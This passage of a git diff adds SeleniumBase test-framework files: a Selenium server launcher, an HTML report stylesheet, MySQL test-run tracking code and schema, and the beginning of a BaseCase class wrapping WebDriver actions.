+        index_str = []
+        for completed_file in already_uploaded_files:
+            index_str.append("<a href='" + self.bucket_url +
+                             "%s'>%s</a>" % (completed_file, completed_file))
+        index.set_contents_from_string(
+            "<br>".join(index_str),
+            headers={"Content-Type": "text/html"})
+        index.make_public()
+        return "%s%s" % (self.bucket_url, file_name)
+
+    def save_uploaded_file_names(self, files):
+        """We keep record of file names that have been uploaded. We upload log
+        files related to each test after its execution. Once we're done, we
+        use already_uploaded_files to create an index file"""
+        global already_uploaded_files
+        already_uploaded_files.extend(files)
diff --git a/SeleniumBase/seleniumbase/core/selenium_launcher.py b/SeleniumBase/seleniumbase/core/selenium_launcher.py
new file mode 100755
index 00000000..7e1de125
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/selenium_launcher.py
@@ -0,0 +1,102 @@
+""" Download and run the selenium server jar file """
+
+import subprocess
+import os
+import socket
+import urllib
+import time
+
+SELENIUM_JAR = ("http://selenium-release.storage.googleapis.com"
+                "/2.53/selenium-server-standalone-2.53.0.jar")
+JAR_FILE = "selenium-server-standalone-2.53.0.jar"
+try:
+    import selenium
+    if selenium.__version__[0] == '3':
+        SELENIUM_JAR = ("http://selenium-release.storage.googleapis.com"
+                        "/3.3/selenium-server-standalone-3.3.1.jar")
+        JAR_FILE = "selenium-server-standalone-3.3.1.jar"
+except Exception:
+    pass
+
+
+def download_selenium():
+    """
+    Downloads the selenium server jar file from its
+    online location and stores it locally.
+    """
+    try:
+        local_file = open(JAR_FILE, 'wb')
+        remote_file = urllib.urlopen(SELENIUM_JAR)
+        print('Downloading Selenium Server JAR File...\n')
+        local_file.write(remote_file.read())
+        local_file.close()
+        remote_file.close()
+        print('Download Complete!\n')
+    except Exception, details:
+        raise Exception("Error while downloading Selenium Server. Details: %s"
+                        % details)
+
+
+def is_running_locally(host, port):
+    socket_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    try:
+        socket_s.connect((host, port))
+        socket_s.close()
+        return True
+    except:
+        return False
+
+
+def is_available_locally():
+    return os.path.isfile(JAR_FILE)
+
+
+def start_selenium_server(selenium_jar_location, port, file_path):
+
+    """
+    Starts selenium on the specified port
+    and configures the output and error files.
+    Throws an exeption if the server does not start.
+    """
+
+    process_args = None
+    process_args = ["java", "-jar", selenium_jar_location, "-port", port]
+    selenium_exec = subprocess.Popen(
+        process_args,
+        stdout=open("%s/log_seleniumOutput.txt" % (file_path), "w"),
+        stderr=open("%s/log_seleniumError.txt" % (file_path), "w"))
+    time.sleep(2)
+    if selenium_exec.poll() == 1:
+        raise StartSeleniumException("The selenium server did not start."
+                                     "Do you already have one runing?")
+    return selenium_exec
+
+
+def stop_selenium_server(selenium_server_process):
+    """Kills the selenium server.  We are expecting an error 143"""
+
+    try:
+        selenium_server_process.terminate()
+        return selenium_server_process.poll() == 143
+    except Exception, details:
+        raise Exception("Cannot kill selenium process, details: " + details)
+
+
+class StartSeleniumException(Exception):
+
+    def __init__(self, value):
+        self.value = value
+
+    def __str__(self):
+        return repr(self.value)
+
+
+def execute_selenium(host, port, file_path):
+    if is_running_locally(host, port):
+        return
+    if not is_available_locally():
+        download_selenium()
+    try:
+        return start_selenium_server(JAR_FILE, port, file_path)
+    except StartSeleniumException:
+        print("Selenium Server might already be running. Continuing... ")
diff --git a/SeleniumBase/seleniumbase/core/style_sheet.py b/SeleniumBase/seleniumbase/core/style_sheet.py
new file mode 100755
index 00000000..b8bee2bc
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/style_sheet.py
@@ -0,0 +1,98 @@
+title = '''<meta id="OGTitle" property="og:title" content="SeleniumBase">
+        <title>Test Report</title>
+        <link rel="SHORTCUT ICON"
+        href="%s" /> ''' % (
+            "https://raw.githubusercontent.com/seleniumbase/SeleniumBase"
+            "/master/seleniumbase/resources/favicon.ico")
+
+style = title + '''<style type="text/css">
+        html {
+            background-color: #9988ad;
+        }
+        html, body {
+            font-size: 100%;
+            box-sizing: border-box;
+        }
+        body {
+            background-image: none;
+            background-origin: padding-box;
+            background-color: #c6d6f0;
+            padding: 30;
+            margin: 10;
+            font-family: "Proxima Nova","proxima-nova",
+            "Helvetica Neue",Helvetica,Arial,sans-serif !important;
+            text-rendering: optimizelegibility;
+            -moz-osx-font-smoothing: grayscale;
+            box-shadow: 0px 2px 5px 1px rgba(0, 0, 0, 0.24),
+            1px 2px 12px 0px rgba(0, 0, 0, 0.18) !important;
+        }
+        table {
+            width: 100%;
+            border-collapse: collapse;
+            border-spacing: 0;
+            box-shadow: 0px 2px 5px 1px rgba(0, 0, 0, 0.27),
+            1px 2px 12px 0px rgba(0, 0, 0, 0.21) !important;
+            transition: all 0.15s ease-out 0s;
+            transition-property: all;
+            transition-duration: 0.1s;
+            transition-timing-function: ease-out;
+            transition-delay: 0s;
+        }
+        table:hover {
+            box-shadow: 0px 2px 5px 1px rgba(0, 0, 0, 0.35),
+            1px 2px 12px 0px rgba(0, 0, 0, 0.28) !important;
+        }
+        thead th, thead td {
+            padding: 0.5rem 0.625rem 0.625rem;
+            font-weight: bold;
+            text-align: left;
+        }
+        thead {
+            text-align: center;
+            border: 1px solid #e1e1e1;
+            width: 150%;
+            color: #0C8CDF;
+            background-color: #c0f0ff;
+        }
+        tbody tr:nth-child(even) {
+            background-color: #f1f1f1;
+        }
+        tbody tr:nth-child(odd) {
+            background-color: #ffffff;
+        }
+        tbody tr:nth-child(even):hover {
+            background-color: #f8f8d2;
+        }
+        tbody tr:nth-child(odd):hover {
+            background-color: #ffffe0;
+        }
+        tbody th, tbody td {
+            padding: 0.5rem 0.625rem 0.625rem;
+        }
+        tbody {
+            border: 1px solid #e1e1e1;
+            background-color: #fefefe;
+        }
+        td {
+            padding: 5px 5px 5px 0;
+            vertical-align: top;
+        }
+        h1 table {
+            font-size: 27px;
+            text-align: left;
+            padding: 0.5rem 0.625rem 0.625rem;
+            font-weight: bold;
+            padding-right: 10px;
+            padding-left: 20px;
+            padding: 15px 15px 15px 0;
+        }
+        h2 table {
+            color: #0C8CDF;
+            font-size: 16px;
+            text-align: left;
+            font-weight: bold;
+            padding: 5px 5px 5px 0;
+            padding-right: 10px;
+            padding-left: 20px;
+        }
+        </style>'''
diff --git a/SeleniumBase/seleniumbase/core/testcase_manager.py b/SeleniumBase/seleniumbase/core/testcase_manager.py
new file mode 100755
index 00000000..633d4e67
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/testcase_manager.py
@@ -0,0 +1,133 @@
+"""
+Testcase database related methods
+"""
+
+from seleniumbase.core.mysql import DatabaseManager
+
+
+class TestcaseManager:
+    """
+    Helper for Testcase related DB stuff
+    """
+
+    def __init__(self, database_env):
+        self.database_env = database_env
+
+    def insert_execution_data(self, execution_query_payload):
+        """ Inserts an execution into the database.
+            Returns the execution guid. """
+
+        query = """INSERT INTO execution
+                   (guid, executionStart, totalExecutionTime, username)
+                   VALUES (%(guid)s,%(execution_start_time)s,
+                           %(total_execution_time)s,%(username)s)"""
+        DatabaseManager(self.database_env).execute_query_and_close(
+            query,
+            execution_query_payload.get_params())
+        return execution_query_payload.guid
+
+    def update_execution_data(self, execution_guid, execution_time):
+        """updates an existing execution in the database"""
+
+        query = """UPDATE execution
+                   SET totalExecutionTime=%(execution_time)s
+                   WHERE guid=%(execution_guid)s """
+        DatabaseManager(self.database_env).execute_query_and_close(
+            query,
+            {"execution_guid": execution_guid,
+             "execution_time": execution_time})
+
+    def insert_testcase_data(self, testcase_run_payload):
+        """inserts all data for the test case, returns the new row guid"""
+
+        query = """INSERT INTO testcaseRunData
+                   (guid, browser, state, execution_guid, env, start_time,
+                    testcaseAddress, runtime, retryCount, message, stackTrace)
+                          VALUES (
+                              %(guid)s,
+                              %(browser)s,
+                              %(state)s,
+                              %(execution_guid)s,
+                              %(env)s,
+                              %(start_time)s,
+                              %(testcaseAddress)s,
+                              %(runtime)s,
+                              %(retryCount)s,
+                              %(message)s,
+                              %(stackTrace)s) """
+        DatabaseManager(self.database_env).execute_query_and_close(
+            query, testcase_run_payload.get_params())
+
+    def update_testcase_data(self, testcase_payload):
+        """updates an existing testcase run in the database"""
+
+        query = """UPDATE testcaseRunData SET
+                          runtime=%(runtime)s,
+                          state=%(state)s,
+                          retryCount=%(retryCount)s,
+                          stackTrace=%(stackTrace)s,
+                          message=%(message)s
+                          WHERE guid=%(guid)s """
+        DatabaseManager(self.database_env).execute_query_and_close(
+            query, testcase_payload.get_params())
+
+    def update_testcase_log_url(self, testcase_payload):
+        """updates an existing testcase run's logging URL in the database"""
+
+        query = """UPDATE testcaseRunData
+                   SET logURL=%(logURL)s
+                   WHERE guid=%(guid)s """
+        DatabaseManager(self.database_env).execute_query_and_close(
+            query, testcase_payload.get_params())
+
+
+class ExecutionQueryPayload:
+    """ Helper class for containing the execution query data """
+    def __init__(self):
+        self.execution_start_time = None
+        self.total_execution_time = -1
+        self.username = "Default"
+        self.guid = None
+
+    def get_params(self):
+        """ Returns a params object for use with the pool """
+        return {
+            "execution_start_time": self.execution_start_time,
+            "total_execution_time": self.total_execution_time,
+            "username": self.username,
+            "guid": self.guid
+            }
+
+
+class TestcaseDataPayload:
+    """ Helper class for containing all the testcase query data """
+    def __init__(self):
+        self.guid = None
+        self.testcaseAddress = None
+        self.browser = None
+        self.state = None
+        self.execution_guid = None
+        self.env = None
+        self.start_time = None
+        self.runtime = None
+        self.retry_count = 0
+        self.stack_trace = None
+        self.message = None
+        self.logURL = None
+
+    def get_params(self):
+        """ Returns a params object for use with the pool """
+        return {
+            "guid": self.guid,
+            "testcaseAddress": self.testcaseAddress,
+            "browser": self.browser,
+            "state": self.state,
+            "execution_guid": self.execution_guid,
+            "env": self.env,
+            "start_time": self.start_time,
+            "runtime": self.runtime,
+            "retryCount": self.retry_count,
+            "stackTrace": self.stack_trace,
+            "message": self.message,
+            "logURL": self.logURL
+        }
diff --git a/SeleniumBase/seleniumbase/core/testcaserepository.sql b/SeleniumBase/seleniumbase/core/testcaserepository.sql
new file mode 100755
index 00000000..e8bb2d61
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/testcaserepository.sql
@@ -0,0 +1,41 @@
+# table delayedTestData
+# -----------------------------------
+CREATE TABLE `delayedTestData` (
+  `guid` varchar(64) NOT NULL DEFAULT '',
+  `testcaseAddress` varchar(255) NOT NULL DEFAULT '',
+  `insertedAt` bigint(20) NOT NULL,
+  `expectedResult` text,
+  `done` tinyint(1) DEFAULT '0',
+  `expiresAt` bigint(20) DEFAULT NULL,
+  PRIMARY KEY (`guid`),
+  UNIQUE KEY `uuid` (`guid`)
+) ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+# table execution
+# -----------------------------------
+CREATE TABLE `execution` (
+  `guid` varchar(64) NOT NULL DEFAULT '',
+  `totalExecutionTime` int(11),
+  `username` varchar(255) DEFAULT NULL,
+  `executionStart` bigint(20) DEFAULT '0',
+  PRIMARY KEY (`guid`)
+) ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+# table testcaseRunData
+# -----------------------------------
+CREATE TABLE `testcaseRunData` (
+  `guid` varchar(64) NOT NULL DEFAULT '',
+  `testcaseAddress` varchar(255) DEFAULT NULL,
+  `env` varchar(64) DEFAULT NULL,
+  `start_time` varchar(64) DEFAULT NULL,
+  `execution_guid` varchar(64) DEFAULT NULL,
+  `runtime` int(11),
+  `state` varchar(64) DEFAULT NULL,
+  `browser` varchar(64) DEFAULT NULL,
+  `message` text,
+  `stackTrace` text,
+  `retryCount` int(11) DEFAULT '0',
+  `exceptionMap_guid` varchar(64) DEFAULT NULL,
+  `logURL` text,
+  PRIMARY KEY (`guid`)
+) ENGINE=InnoDB DEFAULT CHARSET=utf8;
diff --git a/SeleniumBase/seleniumbase/fixtures/__init__.py b/SeleniumBase/seleniumbase/fixtures/__init__.py
new file mode 100755
index 00000000..e69de29b
diff --git a/SeleniumBase/seleniumbase/fixtures/base_case.py b/SeleniumBase/seleniumbase/fixtures/base_case.py
new file mode 100755
index 00000000..fe868d81
--- /dev/null
+++ b/SeleniumBase/seleniumbase/fixtures/base_case.py
@@ -0,0 +1,1494 @@
+"""
+BaseCase gathers SeleniumBase libraries into a single file for easy calling.
+Usage:
+
+    from seleniumbase import BaseCase
+    class MyTestClass(BaseCase):
+        test_anything(self):
+            # Write your code here. Example:
+            self.open("https://github.com/")
+            self.update_text("input.header-search-input", "SeleniumBase\n")
+            self.click('a[href="/seleniumbase/SeleniumBase"]')
+            self.assert_element("div.repository-content")
+            ....
+
+The methods here expand and improve existing WebDriver commands.
+Improvements include making WebDriver more robust and more reliable.
+Page elements are given enough time to load before taking action on them.
+Code becomes greatly simplified and easier to maintain.
+"""
+
+import getpass
+import json
+import logging
+import math
+import os
+import pytest
+import sys
+import time
+import traceback
+import unittest
+import uuid
+from BeautifulSoup import BeautifulSoup
+from pyvirtualdisplay import Display
+from seleniumbase.config import settings
+from seleniumbase.core.application_manager import ApplicationManager
+from seleniumbase.core.s3_manager import S3LoggingBucket
+from seleniumbase.core.testcase_manager import ExecutionQueryPayload
+from seleniumbase.core.testcase_manager import TestcaseDataPayload
+from seleniumbase.core.testcase_manager import TestcaseManager
+from seleniumbase.core import browser_launcher
+from seleniumbase.core import log_helper
+from seleniumbase.fixtures import constants
+from seleniumbase.fixtures import page_actions
+from seleniumbase.fixtures import page_utils
+from seleniumbase.fixtures import xpath_to_css
+from selenium.common.exceptions import (StaleElementReferenceException,
+                                        TimeoutException)
+from selenium.webdriver.remote.webdriver import WebDriver
+from selenium.webdriver.common.by import By
+from selenium.webdriver.common.keys import Keys
+from selenium.webdriver.support.ui import Select
+from selenium.webdriver import ActionChains
+
+
+class BaseCase(unittest.TestCase):
+    '''
+    A base test case that wraps methods for enhanced usage.
+    You can also add your own methods here.
+    '''
+
+    def __init__(self, *args, **kwargs):
+        super(BaseCase, self).__init__(*args, **kwargs)
+        try:
+            self.driver = WebDriver()
+        except Exception:
+            pass
+        self.environment = None
+        self.page_check_count = 0
+        self.page_check_failures = []
+        self._html_report_extra = []
+
+    def open(self, url):
+        self.driver.get(url)
+        if settings.WAIT_FOR_RSC_ON_PAGE_LOADS:
+            self.wait_for_ready_state_complete()
+        self._demo_mode_pause_if_active()
+
+    def open_url(self, url):
+        """ In case people are mixing up self.open() with open(),
+            use this alternative. """
+        self.open(url)
+
+    def click(self, selector, by=By.CSS_SELECTOR,
+              timeout=settings.SMALL_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        element = page_actions.wait_for_element_visible(
+            self.driver, selector, by, timeout=timeout)
+        self._demo_mode_highlight_if_active(selector, by)
+        pre_action_url = self.driver.current_url
+        try:
+            element.click()
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.05)
+            element = page_actions.wait_for_element_visible(
+                self.driver, selector, by, timeout=timeout)
+            element.click()
+        if settings.WAIT_FOR_RSC_ON_CLICKS:
+            self.wait_for_ready_state_complete()
+        if self.demo_mode:
+            if self.driver.current_url != pre_action_url:
+                self._demo_mode_pause_if_active()
+            else:
+                self._demo_mode_pause_if_active(tiny=True)
+
+    def double_click(self, selector, by=By.CSS_SELECTOR,
+                     timeout=settings.SMALL_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        element = page_actions.wait_for_element_visible(
+            self.driver, selector, by, timeout=timeout)
+        self._demo_mode_highlight_if_active(selector, by)
+        pre_action_url = self.driver.current_url
+        try:
+            actions = ActionChains(self.driver)
+            actions.move_to_element(element)
+            actions.double_click(element)
+            actions.perform()
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.05)
+            element = page_actions.wait_for_element_visible(
+                self.driver, selector, by, timeout=timeout)
+            actions = ActionChains(self.driver)
+            actions.move_to_element(element)
+            actions.double_click(element)
+            actions.perform()
+        if settings.WAIT_FOR_RSC_ON_CLICKS:
+            self.wait_for_ready_state_complete()
+        if self.demo_mode:
+            if self.driver.current_url != pre_action_url:
+                self._demo_mode_pause_if_active()
+            else:
+                self._demo_mode_pause_if_active(tiny=True)
+
+    def click_chain(self, selectors_list, by=By.CSS_SELECTOR,
+                    timeout=settings.SMALL_TIMEOUT, spacing=0):
+        """ This method clicks on a list of elements in succession.
+            'spacing' is the amount of time to wait between clicks. (sec) """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        for selector in selectors_list:
+            self.click(selector, by=by, timeout=timeout)
+            if spacing > 0:
+                time.sleep(spacing)
+
+    def click_link_text(self, link_text, timeout=settings.SMALL_TIMEOUT):
+        """ This method clicks link text on a page """
+        # If using phantomjs, might need to extract and open the link directly
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if self.browser == 'phantomjs':
+            if self.is_link_text_visible(link_text):
+                element = self.wait_for_link_text_visible(link_text)
+                element.click()
+                return
+            source = self.driver.page_source
+            soup = BeautifulSoup(source)
+            html_links = soup.fetch('a')
+            for html_link in html_links:
+                if html_link.text == link_text:
+                    for html_attribute in html_link.attrs:
+                        if html_attribute[0] == 'href':
+                            href = html_attribute[1]
+                            if href.startswith('//'):
+                                link = "http:" + href
+                            elif href.startswith('/'):
+                                url = self.driver.current_url
+                                domain_url = self.get_domain_url(url)
+                                link = domain_url + href
+                            else:
+                                link = href
+                            self.open(link)
+                            return
+                    raise Exception(
+                        'Could not parse link from link_text [%s]' % link_text)
+            raise Exception("Link text [%s] was not found!" % link_text)
+        # Not using phantomjs
+        element = self.wait_for_link_text_visible(link_text, timeout=timeout)
+        self._demo_mode_highlight_if_active(link_text, by=By.LINK_TEXT)
+        pre_action_url = self.driver.current_url
+        try:
+            element.click()
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.05)
+            element = self.wait_for_link_text_visible(
+                link_text, timeout=timeout)
+            element.click()
+        if settings.WAIT_FOR_RSC_ON_CLICKS:
+            self.wait_for_ready_state_complete()
+        if self.demo_mode:
+            if self.driver.current_url != pre_action_url:
+                self._demo_mode_pause_if_active()
+            else:
+                self._demo_mode_pause_if_active(tiny=True)
+
+    def click_partial_link_text(self, partial_link_text,
+                                timeout=settings.SMALL_TIMEOUT):
+        """ This method clicks the partial link text on a page. """
+        # If using phantomjs, might need to extract and open the link directly
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if self.browser == 'phantomjs':
+            if self.is_partial_link_text_visible(partial_link_text):
+                element = self.wait_for_partial_link_text(partial_link_text)
+                element.click()
+                return
+            source = self.driver.page_source
+            soup = BeautifulSoup(source)
+            html_links = soup.fetch('a')
+            for html_link in html_links:
+                if partial_link_text in html_link.text:
+                    for html_attribute in html_link.attrs:
+                        if html_attribute[0] == 'href':
+                            href = html_attribute[1]
+                            if href.startswith('//'):
+                                link = "http:" + href
+                            elif href.startswith('/'):
+                                url = self.driver.current_url
+                                domain_url = self.get_domain_url(url)
+                                link = domain_url + href
+                            else:
+                                link = href
+                            self.open(link)
+                            return
+                    raise Exception(
+                        'Could not parse link from partial link_text '
+                        '[%s]' % partial_link_text)
+            raise Exception(
+                "Partial link text [%s] was not found!" % partial_link_text)
+        # Not using phantomjs
+        element = self.wait_for_partial_link_text(
+            partial_link_text, timeout=timeout)
+        self._demo_mode_highlight_if_active(
+            partial_link_text, by=By.PARTIAL_LINK_TEXT)
+        pre_action_url = self.driver.current_url
+        try:
+            element.click()
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.05)
+            element = self.wait_for_partial_link_text(
+                partial_link_text, timeout=timeout)
+            element.click()
+        if settings.WAIT_FOR_RSC_ON_CLICKS:
+            self.wait_for_ready_state_complete()
+        if self.demo_mode:
+            if self.driver.current_url != pre_action_url:
+                self._demo_mode_pause_if_active()
+            else:
+                self._demo_mode_pause_if_active(tiny=True)
+
+    def get_text(self, selector, by=By.CSS_SELECTOR,
+                 timeout=settings.SMALL_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.wait_for_ready_state_complete()
+        time.sleep(0.01)
+        element = page_actions.wait_for_element_visible(
+            self.driver, selector, by, timeout)
+        try:
+            element_text = element.text
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.06)
+            element = page_actions.wait_for_element_visible(
+                self.driver, selector, by, timeout)
+            element_text = element.text
+        return element_text
+
+    def get_attribute(self, selector, attribute, by=By.CSS_SELECTOR,
+                      timeout=settings.SMALL_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.wait_for_ready_state_complete()
+        time.sleep(0.01)
+        element = page_actions.wait_for_element_present(
+            self.driver, selector, by, timeout)
+        try:
+            attribute_value = element.get_attribute(attribute)
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.06)
+            element = page_actions.wait_for_element_present(
+                self.driver, selector, by, timeout)
+            attribute_value = element.get_attribute(attribute)
+        if attribute_value is not None:
+            return attribute_value
+        else:
+            raise Exception("Element [%s] has no attribute [%s]!" % (
+                selector, attribute))
+
+    def refresh_page(self):
+        self.driver.refresh()
+
+    def get_current_url(self):
+        return self.driver.current_url
+
+    def get_page_source(self):
+        return self.driver.page_source
+
+    def get_page_title(self):
+        return self.driver.title
+
+    def go_back(self):
+        self.driver.back()
+
+    def go_forward(self):
+        self.driver.forward()
+
+    def get_image_url(self, selector, by=By.CSS_SELECTOR,
+                      timeout=settings.SMALL_TIMEOUT):
+        """ Extracts the URL from an image element on the page. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return self.get_attribute(selector,
+                                  attribute='src', by=by, timeout=timeout)
+
+    def add_text(self, selector, new_value, by=By.CSS_SELECTOR,
+                 timeout=settings.SMALL_TIMEOUT):
+        """ The more-reliable version of driver.send_keys()
+            Similar to update_text(), but won't clear the text field first. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        element = self.wait_for_element_visible(
+            selector, by=by, timeout=timeout)
+        self._demo_mode_highlight_if_active(selector, by)
+        pre_action_url = self.driver.current_url
+        try:
+            if not new_value.endswith('\n'):
+                element.send_keys(new_value)
+            else:
+                new_value = new_value[:-1]
+                element.send_keys(new_value)
+                element.send_keys(Keys.RETURN)
+                if settings.WAIT_FOR_RSC_ON_PAGE_LOADS:
+                    self.wait_for_ready_state_complete()
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.06)
+            element = self.wait_for_element_visible(
+                selector, by=by, timeout=timeout)
+            if not new_value.endswith('\n'):
+                element.send_keys(new_value)
+            else:
+                new_value = new_value[:-1]
+                element.send_keys(new_value)
+                element.send_keys(Keys.RETURN)
+                if settings.WAIT_FOR_RSC_ON_PAGE_LOADS:
+                    self.wait_for_ready_state_complete()
+        if self.demo_mode:
+            if self.driver.current_url != pre_action_url:
+                self._demo_mode_pause_if_active()
+            else:
+                self._demo_mode_pause_if_active(tiny=True)
+
+    def send_keys(self, selector, new_value, by=By.CSS_SELECTOR,
+                  timeout=settings.SMALL_TIMEOUT):
+        """ Same as add_text() -> more reliable, but less name confusion. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.add_text(selector, new_value, by=by, timeout=timeout)
+
+    def update_text_value(self, selector, new_value, by=By.CSS_SELECTOR,
+                          timeout=settings.SMALL_TIMEOUT, retry=False):
+        """ This method updates an element's text value with a new value.
+            @Params
+            selector - the selector with the value to update
+            new_value - the new value for setting the text field
+            by - the type of selector to search by (Default: CSS)
+            timeout - how long to wait for the selector to be visible
+            retry - if True, use jquery if the selenium text update fails
+        """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        element = self.wait_for_element_visible(
+            selector, by=by, timeout=timeout)
+        self._demo_mode_highlight_if_active(selector, by)
+        try:
+            element.clear()
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.06)
+            element = self.wait_for_element_visible(
+                selector, by=by, timeout=timeout)
+            element.clear()
+        self._demo_mode_pause_if_active(tiny=True)
+        pre_action_url = self.driver.current_url
+        try:
+            if not new_value.endswith('\n'):
+                element.send_keys(new_value)
+            else:
+                new_value = new_value[:-1]
+                element.send_keys(new_value)
+                element.send_keys(Keys.RETURN)
+                if settings.WAIT_FOR_RSC_ON_PAGE_LOADS:
+                    self.wait_for_ready_state_complete()
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.06)
+            element = self.wait_for_element_visible(
+                selector, by=by, timeout=timeout)
+            element.clear()
+            if not new_value.endswith('\n'):
+                element.send_keys(new_value)
+            else:
+                new_value = new_value[:-1]
+                element.send_keys(new_value)
+                element.send_keys(Keys.RETURN)
+                if settings.WAIT_FOR_RSC_ON_PAGE_LOADS:
+                    self.wait_for_ready_state_complete()
+        if (retry and element.get_attribute('value') != new_value and (
+                not new_value.endswith('\n'))):
+            logging.debug('update_text_value is falling back to jQuery!')
+            selector = self.jq_format(selector)
+            self.set_value(selector, new_value, by=by)
+        if self.demo_mode:
+            if self.driver.current_url != pre_action_url:
+                self._demo_mode_pause_if_active()
+            else:
+                self._demo_mode_pause_if_active(tiny=True)
+
+    def update_text(self, selector, new_value, by=By.CSS_SELECTOR,
+                    timeout=settings.SMALL_TIMEOUT, retry=False):
+        """ The shorter version of update_text_value(), which
+            clears existing text and adds new text into the text field.
+            We want to keep the old version for backward compatibility. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.update_text_value(selector, new_value, by=by,
+                               timeout=timeout, retry=retry)
+
+    def is_element_present(self, selector, by=By.CSS_SELECTOR):
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        return page_actions.is_element_present(self.driver, selector, by)
+
+    def is_element_visible(self, selector, by=By.CSS_SELECTOR):
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        return page_actions.is_element_visible(self.driver, selector, by)
+
+    def is_link_text_visible(self, link_text):
+        self.wait_for_ready_state_complete()
+        time.sleep(0.01)
+        return page_actions.is_element_visible(self.driver, link_text,
+                                               by=By.LINK_TEXT)
+
+    def is_partial_link_text_visible(self, partial_link_text):
+        self.wait_for_ready_state_complete()
+        time.sleep(0.01)
+        return page_actions.is_element_visible(self.driver, partial_link_text,
+                                               by=By.PARTIAL_LINK_TEXT)
+
+    def is_text_visible(self, text, selector, by=By.CSS_SELECTOR):
+        self.wait_for_ready_state_complete()
+        time.sleep(0.01)
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        return page_actions.is_text_visible(self.driver, text, selector, by)
+
+    def find_visible_elements(self, selector, by=By.CSS_SELECTOR):
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        return page_actions.find_visible_elements(self.driver, selector, by)
+
+    def execute_script(self, script):
+        return self.driver.execute_script(script)
+
+    def execute_async_script(self, script, timeout=settings.EXTREME_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.EXTREME_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.driver.set_script_timeout(timeout)
+        return self.driver.execute_async_script(script)
+
+    def set_window_size(self, width, height):
+        self.driver.set_window_size(width, height)
+        self._demo_mode_pause_if_active()
+
+    def maximize_window(self):
+        self.driver.maximize_window()
+        self._demo_mode_pause_if_active()
+
+    def activate_jquery(self):
+        """ If "jQuery is not defined", use this method to activate it for use.
+            This happens because jQuery is not always defined on web sites. """
+        try:
+            # Let's first find out if jQuery is already defined.
+            self.execute_script("jQuery('html')")
+            # Since that command worked, jQuery is defined. Let's return.
+            return
+        except Exception:
+            # jQuery is not currently defined. Let's proceed by defining it.
+            pass
+        self.execute_script(
+            '''var script = document.createElement("script"); '''
+            '''script.src = "http://code.jquery.com/jquery-3.1.0.min.js"; '''
+            '''document.getElementsByTagName("head")[0]'''
+            '''.appendChild(script);''')
+        for x in xrange(30):
+            # jQuery needs a small amount of time to activate. (At most 3s)
+            try:
+                self.execute_script("jQuery('html')")
+                return
+            except Exception:
+                time.sleep(0.1)
+        # Since jQuery still isn't activating, give up and raise an exception
+        raise Exception("Exception: WebDriver could not activate jQuery!")
+
+    def highlight(self, selector, by=By.CSS_SELECTOR,
+                  loops=settings.HIGHLIGHTS, scroll=True):
+        """ This method uses fancy javascript to highlight an element.
+            Used during demo_mode.
+            @Params
+            selector - the selector of the element to find
+            by - the type of selector to search by (Default: CSS)
+            loops - # of times to repeat the highlight animation
+                    (Default: 4. Each loop lasts for about 0.18s)
+            scroll - the option to scroll to the element first (Default: True)
+        """
+        element = self.find_element(
+            selector, by=by, timeout=settings.SMALL_TIMEOUT)
+        if scroll:
+            self._slow_scroll_to_element(element)
+        try:
+            selector = self.convert_to_css_selector(selector, by=by)
+        except Exception:
+            # Don't highlight if can't convert to CSS_SELECTOR for jQuery
+            return
+
+        # Only get the first match
+        last_syllable = selector.split(' ')[-1]
+        if ':' not in last_syllable:
+            selector += ':first'
+
+        o_bs = ''  # original_box_shadow
+        style = element.get_attribute('style')
+        if style:
+            if 'box-shadow: ' in style:
+                box_start = style.find('box-shadow: ')
+                box_end = style.find(';', box_start) + 1
+                original_box_shadow = style[box_start:box_end]
